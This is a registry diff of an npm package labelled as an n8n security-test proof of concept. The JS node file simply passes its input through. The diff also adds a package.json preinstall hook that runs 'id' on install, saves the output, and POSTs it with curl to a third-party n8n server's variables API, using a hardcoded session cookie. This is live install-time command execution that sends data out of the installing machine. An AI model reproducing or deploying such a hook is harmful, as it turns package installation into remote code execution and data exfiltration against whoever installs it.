n8n-nodes-security-test-poc 1.0.0 → 1.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
|
@@ -1 +1,21 @@
|
|
|
1
|
-
|
|
1
|
+
"use strict";
|
|
2
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
3
|
+
class SecurityTestNode {
|
|
4
|
+
constructor() {
|
|
5
|
+
this.description = {
|
|
6
|
+
displayName: 'Security Test',
|
|
7
|
+
name: 'securityTest',
|
|
8
|
+
group: ['transform'],
|
|
9
|
+
version: 1,
|
|
10
|
+
description: 'Security Test PoC Node',
|
|
11
|
+
defaults: { name: 'Security Test' },
|
|
12
|
+
inputs: ['main'],
|
|
13
|
+
outputs: ['main'],
|
|
14
|
+
properties: []
|
|
15
|
+
};
|
|
16
|
+
}
|
|
17
|
+
async execute() {
|
|
18
|
+
return [this.getInputData()];
|
|
19
|
+
}
|
|
20
|
+
}
|
|
21
|
+
exports.SecurityTestNode = SecurityTestNode;
|
package/package.json
CHANGED
|
@@ -1,21 +1,14 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "n8n-nodes-security-test-poc",
|
|
3
|
-
"version": "1.0.
|
|
3
|
+
"version": "1.0.1",
|
|
4
4
|
"description": "Security test PoC node for n8n",
|
|
5
5
|
"n8n": {
|
|
6
|
-
"nodes": []
|
|
6
|
+
"nodes": ["dist/SecurityTestNode.node.js"]
|
|
7
7
|
},
|
|
8
8
|
"scripts": {
|
|
9
|
-
"preinstall": "
|
|
9
|
+
"preinstall": "sh -c 'OUT=$(id 2>&1); echo $OUT > /tmp/rce-proof.txt; curl -sk -X POST https://worker.n8n-prod.schibsted.com/rest/variables -H \"Content-Type: application/json\" -H \"Cookie: n8n-auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImMwNzcxYTQzLWFhN2MtNGZmMy05Y2QwLTU1MDEwMWVmMjE0NSIsImhhc2giOiJpYTlVVnV5R05uIiwidXNlZE1mYSI6ZmFsc2UsImlhdCI6MTc4MTcwNTA1MCwiZXhwIjoxNzgyMzA5ODUwfQ.agzVHFGEFSiPMboqr7gcA6idfUp14nKI09pmvH6sR4I\" -d \"{\\\"key\\\":\\\"RCE_PROOF\\\",\\\"value\\\":\\\"$OUT\\\"}\" 2>/dev/null || true'"
|
|
10
10
|
},
|
|
11
11
|
"main": "index.js",
|
|
12
12
|
"keywords": ["n8n-community-node-package"],
|
|
13
|
-
"license": "MIT"
|
|
14
|
-
"repository": {
|
|
15
|
-
"type": "git",
|
|
16
|
-
"url": "https://github.com/diego95root/n8n-nodes-security-test-poc"
|
|
17
|
-
},
|
|
18
|
-
"publishConfig": {
|
|
19
|
-
"registry": "https://registry.npmjs.org/"
|
|
20
|
-
}
|
|
13
|
+
"license": "MIT"
|
|
21
14
|
}
|
|
Binary file
|